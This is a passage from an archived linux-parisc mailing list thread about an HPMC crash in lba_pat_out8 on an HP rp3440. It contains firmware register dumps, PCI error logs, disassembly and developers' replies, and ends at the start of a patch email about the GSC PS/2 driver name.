> 28-31  fffffffffffeffff  ffffffffffffffff  000000007fa30000  ffffffffffffffff
> 
> Space Registers 0 - 7
> 00-03  0000000000012000  0000000000000000  0000000000000000  000000000001a800
> 04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 
> 
> IIA Space (back entry)       = 0x0000000000000000
> IIA Offset (back entry)      = 0x000000004031e420
> Check Type                   = 0x20000000
> Cpu State                    = 0x9e000000
> Cache Check                  = 0x00000000
> TLB Check                    = 0x00000000
> Bus Check                    = 0x00000000
> Assists Check                = 0x0001a800
> Assist State                 = 0x00000000
> Path Info                    = 0x00000000
> System Responder Address     = 0x0000000000000000
> System Requestor Address     = 0x0000000000000000
> 
> Floating Point Registers 0 - 31
> 00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 04-07  00000000401f7b10  000000003f050340  0000000000000000  000000007c3f2540
> 08-11  000000004021e018  000000007ec05300  0000000000000000  0000000000000002
> 12-15  000000007f054010  000000007f0503e0  000000007f054000  00000000406c7300
> 16-19  0000000000000002  000000007f050400  000000007f054000  00000000406c7300
> 20-23  00000000406d7300  00000000406e7b00  000000000000012e  0000000000000000
> 24-27  0000000000000000  000000000095d6b8  000000007f037000  000000004053efe0
> 28-31  00000000406c7300  0000000042866a80  0000000000000000  00000000406e8300
> 
> PIM Revision                 = 0x0000000000000001                
> CPU ID                       = 0x0000000000000014
> CPU Revision                 = 0x0000000000000031
> Cpu Serial Number            = 0x44b44b04543f060a
> Check Summary                = 0x8040004000000000
> SAL Timestamp                = 0x000000004cccc72d
> System Firmware Rev.         = 0x00000ba20000121a
> PDC Relocation Address       = 0xfffffff0f0c00000
> Available Memory             = 0x000000027fe00000
> CPU Diagnose Register 2      = 0x31120200c1102008
> MIB_STAT                     = 0x0040000000200000
> MIB_LOG1                     = 0x0000000000500000
> MIB_LOG2                     = 0x0000800000000000
> MIB_ECC_DATA                 = 0xc55b2c1befd0fbdc
> ICache Info                  = 0x0000000000000000
> DCache Info                  = 0x0000000000000000
> Sharedcache Info1            = 0x0000000000000000
> Sharedcache Info2            = 0x0000000000000000
> MIB_RSLOG1                   = 0x0000006000000004
> MIB_RSLOG2                   = 0x0000c10000000000
> MIB_RQLOG                    = 0x00002580001e1510
> MIB_REQLOGa                  = 0x8000003000000200
> MIB_REQLOGb                  = 0x01000aa400000000
> Reserved                     = 0x0000000000000000
> Cache Repair Detail          = 0x0000000000000000
> 
> PIM Detail Text:
> 
> -----------------  Processor 3 HPMC Information - PDC Version: 46.34  ------ 
> 
> Timestamp =   Sun Oct  31 02:14:52 GMT 2010    (20:10:10:31:02:14:52)
> 
> HPMC Chassis Codes
> 
>        Chassis Code        Extension
>        ------------        ---------
>        0xe800035c00e00000 0x000000004031e41c
>        0x57000f7300e00000 0x8040004000000000
>        0xf600105e00e00000 0xfffffff0f0c00000
>        0x140003b200e00000 0x000000000000000b
>        0x5600100b00e00000 0x0000000000000194
>        0x5600106400e00000 0xfffffff0f043ad20
> 
> 
> General Registers 0 - 31
> 00-03  0000000000000000  00000000406e1300  0000000040128748  000000007f620000
> 04-07  000000001c46a000  000000000800000f  0000000000000001  0000000000000000
> 08-11  0000000000000000  000000007fa38ba0  000000001c46ffe0  000000001c5470b8
> 12-15  0000000000000000  0000000000020630  000000000001e128  000000000001d18a
> 16-19  00000000fb6da2d0  000000000001a000  000000000001ac94  0000000000000002
> 20-23  00000000406586a8  0000000000000000  ffffffffc0000000  0000000000100000
> 24-27  000000000000000a  0000000000348002  000000007f085a00  00000000406c7300
> 28-31  000000000002c000  000000007fa38eb0  000000007fa38ee0  00000000003c8002
> 
> Control Registers 0 - 31
> 00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 08-11  000000000000006c  0000000000000000  00000000000000c0  0000000000000001
> 12-15  0000000000000000  0000000000000000  0000000000103000  ffe0000000000000
> 16-19  000000157f727a8c  0000000000000000  000000004031e41c  000000000f80109f
> 20-23  00000000a627fffb  000000004802c000  000000ff0804ff0e  0000000000000000
> 24-27  00000000005dd000  000000003f906000  ffffffffffffffff  0000000040000b80
> 28-31  ffffffffffffffff  fffffff7ffffffff  000000007fa38000  ffffffffffffffff
> 
> IIA Space (back entry)       = 0x0000000000000000
> IIA Offset (back entry)      = 0x000000004031e420
> Check Type                   = 0x20000000
> Cpu State                    = 0x9e000000
> Cache Check                  = 0x00000000
> TLB Check                    = 0x00000000
> Bus Check                    = 0x00000000
> Assists Check                = 0x0001b000
> Assist State                 = 0x00000000
> Path Info                    = 0x00000000
> System Responder Address     = 0x0000000000000000
> System Requestor Address     = 0x0000000000000000
> 
> Floating Point Registers 0 - 31
> 00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 04-07  00000000401f7b10  000000003f050340  0000000000000000  000000007c3ffe40
> 08-11  000000004021e018  000000007ec05300  0000000000000000  0000000000000002
> 12-15  000000007f054010  000000007f0503e0  000000007f054000  00000000406c7300
> 16-19  0000000000000002  000000007f050400  000000007f054000  00000000406c7300
> 20-23  00000000406d7300  00000000406e7b00  000000000000012e  0000000000000000
> 24-27  0000000000000000  000000000095d6b8  000000007f037000  000000004053efe0
> 28-31  00000000406c7300  0000000042866a80  0000000000000000  00000000406e8300
> 
> PIM Revision                 = 0x0000000000000001                
> CPU ID                       = 0x0000000000000014
> CPU Revision                 = 0x0000000000000031
> Cpu Serial Number            = 0x44b44b04543f060a
> Check Summary                = 0x8040004000000000
> SAL Timestamp                = 0x000000004cccd11c
> System Firmware Rev.         = 0x00000ba20000121a
> PDC Relocation Address       = 0xfffffff0f0c00000
> Available Memory             = 0x000000027fe00000
> CPU Diagnose Register 2      = 0x31520200c9182008
> MIB_STAT                     = 0x0040000000100000
> MIB_LOG1                     = 0x0000000000500000
> MIB_LOG2                     = 0x0000800000000000
> MIB_ECC_DATA                 = 0xc55b2c1befd0fbdc
> ICache Info                  = 0x0000000000000000
> DCache Info                  = 0x0000000000000000
> Sharedcache Info1            = 0x0000000000000000
> Sharedcache Info2            = 0x0000000000000000
> MIB_RSLOG1                   = 0x000000e000000004
> MIB_RSLOG2                   = 0x0001c10000000000
> MIB_RQLOG                    = 0x00002580001e1910
> MIB_REQLOGa                  = 0x8000007000000300
> MIB_REQLOGb                  = 0x01000aa400000000
> Reserved                     = 0x0000000000000000
> Cache Repair Detail          = 0x0000000000000000
> 
> PIM Detail Text:
> 
> --------------  Memory Error Log Information  --------------
> 
>    No errors logged for this bus
> 
> ------------  I/O Module Error Log Information  ------------
> 
> IO Subsystem Log Entries
> 
> Found 2 PCI Comp errors
> Found 1 PCI Bus error
> ------------------------------------------------
> Detail display of IO subsystem log entries
> ------------------------------------------
> 
>   PCI Component Error information
> 
> PCI Component Error 1
> --- Section Header ---
> GUID
>   data1	0xe429faf6
>   data2	0x3cb7
>   data3	0x11d4
>   datat4	0xbc a7 0 80 c7 3c 88 81 
> REVISION		0x0200
> ERROR_RECOVERY_INFO		0x80
> SECTION_LENGTH		0x00000188
> VALIDATION_BITS		0x0000000000000023
> PCI_COMP_ERROR_STATUS		0x00000000005a2000
> PCI_COMP_INFO		0x0000000000004a7c 0x0035103303104100
>      Vendor Id/Device Id:                  0x35/1033

NEC USB

>      Base Class/Sub Class/Program Interface: 0x41/10/3
>      Segment/Bus/Device/Function:          0x0/0/1/0

and the HW path - builting USB (IIRC)

> PCI_COMP_MEM_NUM		0
> PCI_COMP_IO_NUM		0
> PCI_COMP_REGS_DATA_PAIR
>      Address                Data
>      0x0000000000000000     0x0000000000000000
>      0x0000000000000000     0x0000000000000000
>      0x0000000000000000     0x0000000000000000
>      0x0000000000000000     0x0000000000000000
>      0x0000000000000000     0x0000000000000000
>      0x0000000000000000     0x0000000000000000
> 
> PCI_COMP_OEM_DATA_STRUCT
> --- Section Header ---
> GUID
>   data1	0x4f7d86a
>   data2	0x598b
>   data3	0x4a0a
>   data4	0xaa 62 ff 70 73 46 67 4d 
> LENGTH		232
> PHYSICAL_LOCATION		0xffffffffffffff00
> REGISTRATION_NUMBER		0x0000000000000008
> CONFIG_REGISTERS_DATA
>         Offset    Size   Data
>           0        8     0x2210014600351033
>           8        8     0x008080200c031041
>          16        8     0x0000000080002000
>          24        8     0x0000000000000000
>          32        8     0x0000000000000000
>          40        8     0x0035103300000000
>          48        8     0x0000004000000000
>          56        8     0x2a01010000000000
>           0        0     0x0000000000000000
>           0        0     0x0000000000000000
>           0        0     0x0000000000000000
>           0        0     0x0000000000000000
> 
> End of PCI Component Error Information for Error 1
> 
> PCI Component Error 2
> --- Section Header ---
> GUID
>   data1	0xe429faf6
>   data2	0x3cb7
>   data3	0x11d4
>   datat4	0xbc a7 0 80 c7 3c 88 81 
> REVISION		0x0200
> ERROR_RECOVERY_INFO		0x80
> SECTION_LENGTH		0x00000188
> VALIDATION_BITS		0x0000000000000023
> PCI_COMP_ERROR_STATUS		0x00000000005a2000
> PCI_COMP_INFO		0x0000000000004a7c 0x0035103303104101
>      Vendor Id/Device Id:                  0x35/1033
>      Base Class/Sub Class/Program Interface: 0x41/10/3
>      Segment/Bus/Device/Function:          0x0/0/1/1
> PCI_COMP_MEM_NUM		0
> PCI_COMP_IO_NUM		0
> PCI_COMP_REGS_DATA_PAIR
>      Address                Data
>      0x0000000000000000     0x0000000000000000
>      0x0000000000000000     0x0000000000000000
>      0x0000000000000000     0x0000000000000000
>      0x0000000000000000     0x0000000000000000
>      0x0000000000000000     0x0000000000000000
>      0x0000000000000000     0x0000000000000000
> 
> PCI_COMP_OEM_DATA_STRUCT
> --- Section Header ---
> GUID
>   data1	0x4f7d86a
>   data2	0x598b
>   data3	0x4a0a
>   data4	0xaa 62 ff 70 73 46 67 4d 
> LENGTH		232
> PHYSICAL_LOCATION		0xffffffffffffff00
> REGISTRATION_NUMBER		0x0000000000000008
> CONFIG_REGISTERS_DATA
>         Offset    Size   Data
>           0        8     0x2210014600351033
>           8        8     0x000080200c031041
>          16        8     0x0000000080001000
>          24        8     0x0000000000000000
>          32        8     0x0000000000000000
>          40        8     0x0035103300000000
>          48        8     0x0000004000000000
>          56        8     0x2a01020000000000
>           0        0     0x0000000000000000
>           0        0     0x0000000000000000
>           0        0     0x0000000000000000
>           0        0     0x0000000000000000
> 
> End of PCI Component Error Information for Error 2
> 
> End of PCI Component Error Information
>   PCI Bus Error information
> 
> PCI Bus Error 1
> --- Section Header ---
> GUID
>   data1	0xe429faf4
>   data2	0x3cb7
>   data3	0x11d4
>   data4	0xbc a7 0 80 c7 3c 88 81 
> REVISION		0x0200
> ERROR_RECOVERY_INFO		0x84
> SECTION_LENGTH		0x00000108
> VALIDATION_BITS		0x000000000000074f
> PCI_BUS_ERROR_STATUS	0x00000000005a2000
> PCI_BUS_ERROR_TYPE	0x0000000000000004
> PCI_BUS_ID		0x0000000000000000
> PCI_BUS_ADDRESS		0x0000000000000d20
> PCI_BUS_DATA		0x0000000000000000
> PCI_BUS_CMD		0x0000000000000000
> PCI_BUS_REQUESTOR_ID	0x00000000fed20000
> PCI_BUS_COMPLETER_ID	0x0000000000000000
> PCI_BUS_TARGET_ID	0x0000000000000d20
> PCI_BUS_OEM_ID		0x0000000000003d90

BUS TARGET_ID would be interesting to understand if someone from HP could look this up.

FWIW, I have a similar dump from a long time ago published here:
    http://iou.parisc-linux.org/~grundler/console/pa8800-2.6.22-rc4-mm1-hpmc-01

I don't seem to have any notes relating to that dump.

> 
> Bus OEM Data
>   CEC Header:
> --- OEM Data Header ---
> 
> GUID
>   data1	0x9fe64482
>   data2	0xa02d
>   data3	0x4ef7
>   data4	0xad e6 c6 63 59 62 53 99 
> 
> --- OEM Data Body ---
> 
> CELL_NUMBER		0
> SBA_NUMBER		0
> ROPE_NUMBER		0
> --- Mercury Info ---
> ERROR_STATUS		0x000000010000021c
> ERROR_MASTER_ID_LOG	0x0000000000000000
> INBOUND_ERR_ADDRESS	0x0000000000000000
> INBOUND_ERR_ATTRIBUTE	0x0000000000000000
> COMPLETION_MESSAGE_LOG	0x0000000000000000
> OUTBOUND_ERR_ADDRESS	0x0000000000000d20
> ERROR_CONFIG		0x0000000000000030
> STATUS_INFO_CONTROL	0x0000000000000000
> FUNC_ID			0x22b00146122e103c
> CAPABILITIES_LIST	0x0f00023700200002
> AGP_COMMAND		0x0000000000000000
> PCIX_CAPABILITIES	0x0013ff0000010007
> OLR_CONTROL		0x00023f1b00032403
> CLOCK_CONTROL		0x0000000000000048
> BUS_MODE		0x9db864ef36f58460
> 
> End of PCI Bus Error Information for Error 1
> 
> End of PCI Bus Error Information
> 
> PAGE DEALLOCATION TABLE INFORMATION
> 
>    Location      Address       Type        Perm  Page  
>    ------------  ------------  ----------  ----  ---------
> 
>    No Entries in Page Deallocation Table 
> 
>    PDT Entries Used: 0
>    PDT Entries Free: 3000
>    PDT Total Size:   3000
> 
> --- vmlinux-2.6.36 ---
> 
> Processor 0 hpmc was here:
>  
> 0000000040329408 <lba_pat_out8>:
>     40329408:   d7 9f 18 52     depwi,z -1,29,14,ret0
>     4032940c:   53 5f 03 30     ldd 198(r26),r31
>     40329410:   db 39 0b f0     extrd,u r25,63,16,r25
>     40329414:   db 33 0b fe     extrd,u r25,63,2,r19
>     40329418:   0b 99 02 39     and r25,ret0,r25
>     4032941c:   f3 39 11 4a     depd,z r25,53,54,r25
>     40329420:   0a 79 0a 39     add,l r25,r19,r25
>     40329424:   0b 3f 0a 3f     add,l r31,r25,r31
>     40329428:   0f f8 12 00     stb r24,0(r31)
>     4032942c:   0f 40 10 dc     ldd 0(r26),ret0
>     40329430:   2b 6d 10 00     addil L%1a800,dp,r1
> ->  40329434:   0f 80 10 9f     ldw 0(ret0),r31
>     40329438:   50 3c 09 f0     ldd 4f8(r1),ret0
>     4032943c:   e8 40 d0 00     bve (rp)
>     40329440:   0f 9f 12 80     stw r31,0(ret0)
>     40329444:   00 00 00 00     break 0,0
> 
> lba_pat_out8 was called from outb.

This just means the bus wasn't responding. This is usually due
to IOMMU or PCI host controller have a "fatal" error.

> --- vmlinux-2.6.32-5-parisc64-smp ---
> 
> Processor 2 and 3 hpmcs were here:
> 
> 000000004031e3f0 <lba_pat_out8>:
>     4031e3f0:   d7 9f 18 52     depwi,z -1,29,14,ret0
>     4031e3f4:   53 5f 03 30     ldd 198(r26),r31
>     4031e3f8:   db 39 0b f0     extrd,u r25,63,16,r25
>     4031e3fc:   db 33 0b fe     extrd,u r25,63,2,r19
>     4031e400:   0b 99 02 39     and r25,ret0,r25
>     4031e404:   f3 39 11 4a     depd,z r25,53,54,r25
>     4031e408:   0a 79 0a 39     add,l r25,r19,r25
>     4031e40c:   0b 3f 0a 3f     add,l r31,r25,r31
>     4031e410:   0f f8 12 00     stb r24,0(r31)
>     4031e414:   0f 40 10 dc     ldd 0(r26),ret0
>     4031e418:   2b 6d 00 00     addil L%1a000,dp,r1
> ->  4031e41c:   0f 80 10 9f     ldw 0(ret0),r31
>     4031e420:   50 3c 0f 10     ldd 788(r1),ret0
>     4031e424:   e8 40 d0 00     bve (rp)
>     4031e428:   0f 9f 12 80     stw r31,0(ret0)
>     4031e42c:   00 00 00 00     break 0,0
> 
> lba_pat_out8 was again called from outb:
> 
> 00000000401286d0 <outb>:
>     401286d0:   0f c2 12 c1     std rp,-10(sp)
>     401286d4:   db 39 0f e0     extrd,s r25,63,32,r25
>     401286d8:   d3 3c 1d f0     extrw,s r25,15,16,ret0
>     401286dc:   73 c4 01 08     std,ma r4,80(sp)
>     401286e0:   db 58 0b f8     extrd,u r26,63,8,r24
>     401286e4:   2b 70 30 00     addil L%21800,dp,r1
>     401286e8:   db 9a 0f e0     extrd,s ret0,63,32,r26
>     401286ec:   50 3c 0b 50     ldd 5a8(r1),ret0
>     401286f0:   0f 80 10 9c     ldw 0(ret0),ret0
>     401286f4:   87 80 20 38     cmpib,= 0,ret0,40128718 <outb+0x48>
>     401286f8:   2b 68 00 00     addil L%10000,dp,r1
>     401286fc:   bf 40 20 2a     cmpb,*<>,n r0,r26,40128718 <outb+0x48>
>     40128700:   08 18 02 5a     copy r24,r26
>     40128704:   37 dd 3f a1     ldo -30(sp),ret1
>     40128708:   e8 fc af 14     b,l 40321e98 <eisa_out8>,rp
>     4012870c:   d3 39 1b f0     extrw,u r25,31,16,r25
>     40128710:   e8 00 00 68     b,l 4012874c <outb+0x7c>,r0
>     40128714:   53 c2 3e e1     ldd -90(sp),rp
>     40128718:   50 3c 0c 90     ldd 648(r1),ret0
>     4012871c:   0f 9a 20 da     ldd,s r26(ret0),r26
>     40128720:   9f 40 20 40     cmpb,*= r0,r26,40128748 <outb+0x78>
>     40128724:   2b 70 30 00     addil L%21800,dp,r1
>     40128728:   d3 39 1b f0     extrw,u r25,31,16,r25
>     4012872c:   50 3c 02 10     ldd 108(r1),ret0
>     40128730:   0f 80 10 dc     ldd 0(ret0),ret0
>     40128734:   37 dd 3f a1     ldo -30(sp),ret1
>     40128738:   53 9c 00 30     ldd 18(ret0),ret0
>     4012873c:   53 82 00 20     ldd 10(ret0),rp
>     40128740:   e8 40 f0 00     bve,l (rp),rp
>     40128744:   53 9b 00 30     ldd 18(ret0),dp
> ->  40128748:   53 c2 3e e1     ldd -90(sp),rp
>     4012874c:   e8 40 d0 00     bve (rp)
>     40128750:   53 c4 3f 0d     ldd,mb -80(sp),r4
>     40128754:   00 00 00 00     break 0,0
> 
> In all three cases, register %ret0 contained 000000000002c000.

I don't know offhand what the 0x2c000 is used for.
It seems like an LBA register offset e.g. 0x20000 + (ROPE_NUM << 13)

Which seems odd given we should be accessing one of
the GMMIO ranges which generates IO Port transactions:
#ifdef CONFIG_64BIT
	/* GMMIO is  distributed range. Every LBA/Rope gets part it. */
	if (ldev->hba.gmmio_space.flags) {
		err = request_resource(&iomem_resource, &(ldev->hba.gmmio_space));
....

and 

#define PIOP_TO_GMMIO(lba, addr) \
        ((lba)->iop_base + (((addr)&0xFFFC)<<10) + ((addr)&3))

I was pretty sure iop_base is > 4GB.

hth,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:06:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC in lba_pat_out8 on rp3440
Date: Tue, 2 Nov 2010 10:24:26 -0400 (EDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <20101102142428.049144DB0@hiauly1.hia.nrc.ca>
References: <20101102062623.GC14166@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1288707880 26747 80.91.229.12 (2 Nov 2010 14:24:40 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 2 Nov 2010 14:24:40 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 02 15:24:33 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PDHmp-0004vM-2L
	for glpp-linux-parisc@lo.gmane.org; Tue, 02 Nov 2010 15:24:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753304Ab0KBOYa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 2 Nov 2010 10:24:30 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1723 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752611Ab0KBOY3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 2 Nov 2010 10:24:29 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 049144DB0; Tue,  2 Nov 2010 10:24:27 -0400 (EDT)
In-Reply-To: <20101102062623.GC14166@lackof.org> from "Grant Grundler" at Nov 2, 2010 00:26:23 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3210
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3210>

> Maybe try the your kernels on ioz?
> Try the kernels from ion or ioz on your machine?
> 
> on:~# uname -a
> Linux ion 2.6.37-rc1+ #20 SMP Mon Nov 1 13:50:38 PDT 2010 parisc64 GNU/Linux
> 
> ioz:~# uname -a
> Linux ioz 2.6.34-rc6 #25 Tue May 11 02:29:56 GMT 2010 parisc64 GNU/Linux
> 
> Source on ioz:/usr/src/linux-2.6 should match the kernel.
> jejb is generally using ion.

I tried the config from ion.  It also crashed on boot but in a different
way.  It did get further though.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC in lba_pat_out8 on rp3440
Date: Tue, 02 Nov 2010 10:38:47 -0400
Lines: 29
Approved: news@gmane.org
Message-ID: <1288708727.3056.213.camel@mulgrave.site>
References: <20101102142428.049144DB0@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1288708737 31032 80.91.229.12 (2 Nov 2010 14:38:57 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 2 Nov 2010 14:38:57 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 02 15:38:53 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PDI0h-0006r6-Fc
	for glpp-linux-parisc@lo.gmane.org; Tue, 02 Nov 2010 15:38:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752641Ab0KBOiu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 2 Nov 2010 10:38:50 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:42908 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751555Ab0KBOiu (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 2 Nov 2010 10:38:50 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 052318EE114;
	Tue,  2 Nov 2010 07:38:50 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id SL0m6V+tyBEY; Tue,  2 Nov 2010 07:38:49 -0700 (PDT)
Original-Received: from [10.216.5.32] (unknown [12.157.84.42])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 64DBA8EE0EC;
	Tue,  2 Nov 2010 07:38:49 -0700 (PDT)
In-Reply-To: <20101102142428.049144DB0@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3211
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3211>

On Tue, 2010-11-02 at 10:24 -0400, John David Anglin wrote:
> > Maybe try the your kernels on ioz?
> > Try the kernels from ion or ioz on your machine?
> > 
> > on:~# uname -a
> > Linux ion 2.6.37-rc1+ #20 SMP Mon Nov 1 13:50:38 PDT 2010 parisc64 GNU/Linux
> > 
> > ioz:~# uname -a
> > Linux ioz 2.6.34-rc6 #25 Tue May 11 02:29:56 GMT 2010 parisc64 GNU/Linux
> > 
> > Source on ioz:/usr/src/linux-2.6 should match the kernel.
> > jejb is generally using ion.
> 
> I tried the config from ion.  It also crashed on boot but in a different
> way.  It did get further though.

Ion's config is in my home directory; current config is
~jejb/config-2.6.37-rc1

It's a highly modular one based on debian kernels.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc : Fix GSC PS/2 driver name for keyboard and mouse
Date: Tue, 2 Nov 2010 16:23:08 +0100
Lines: 98
Approved: news@gmane.org
Message-ID: <20101102162308.6dbe1cbf@borg.bxl.tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="MP_/vajWLPw2yosThoeUL+NxU+i"
X-Trace: dough.gmane.org 1288711804 14317 80.91.229.12 (2 Nov 2010 15:30:04 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 2 Nov 2010 15:30:04 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 02 16:30:00 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PDIoB-0001Bk-Pn
	for glpp-linux-parisc@lo.gmane.org; Tue, 02 Nov 2010 16:30:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753641Ab0KBP37 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 2 Nov 2010 11:29:59 -0400
Original-Received: from silke.schedom-europe.net ([193.109.184.88]:46396 "EHLO
	silke.schedom-europe.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751176Ab0KBP36 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 2 Nov 2010 11:29:58 -0400
X-Greylist: delayed 399 seconds by postgrey-1.27 at vger.kernel.org; Tue, 02 Nov 2010 11:29:58 EDT
Original-Received: (qmail 9441 invoked by uid 507); 2 Nov 2010 16:23:17 +0100
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on
	silke.schedom-europe.net
X-Spam-Level: ***********
X-Spam-Status: No, score=11.2 required=15.0 tests=BAYES_99,FH_DATE_PAST_20XX,
	RCVD_IN_PBL,RDNS_DYNAMIC autolearn=disabled version=3.2.5
Original-Received: from ip115.dyn1.liege.schedom-europe.net (HELO ibiza.bxl.tuxicoman.be) (83.101.5.115)
  by silke.schedom-europe.net with SMTP; 2 Nov 2010 16:23:10 +0100
Original-Received: from borg.bxl.tuxicoman.be ([2001:6f8:310:301::1])
	by ibiza.bxl.tuxicoman.be with esmtps (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16)
	(Exim 4.72)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1PDIhY-0001Mo-BP
	for linux-parisc@vger.kernel.org; Tue, 02 Nov 2010 16:23:08 +0100
X-Mailer: Claws Mail 3.7.6 (GTK+ 2.20.1; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3212
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3212>

--MP_/vajWLPw2yosThoeUL+NxU+i
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Disposition: inline


Fix kernel warnings caused by the driver name of GSC PS/2 containing '/'.

The following warnings are observed on a K410 system :

[   10.700000] name 'GSC PS/2 keyboard'
[   10.732000] ------------[ cut here ]------------
[   10.772000] WARNING: at fs/proc/generic.c:323
[   10.828000] Modules linked in:
[   10.916000] 
